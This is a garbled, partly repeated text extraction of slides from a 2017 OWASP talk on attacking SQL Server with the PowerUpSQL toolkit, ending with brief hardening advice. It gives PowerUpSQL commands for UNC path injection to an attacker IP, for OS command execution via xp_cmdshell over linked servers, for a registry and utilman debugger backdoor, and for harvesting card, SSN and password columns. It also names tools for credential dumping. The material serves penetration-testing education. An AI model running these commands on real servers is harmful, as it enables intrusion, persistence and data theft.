Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 59: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 60: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

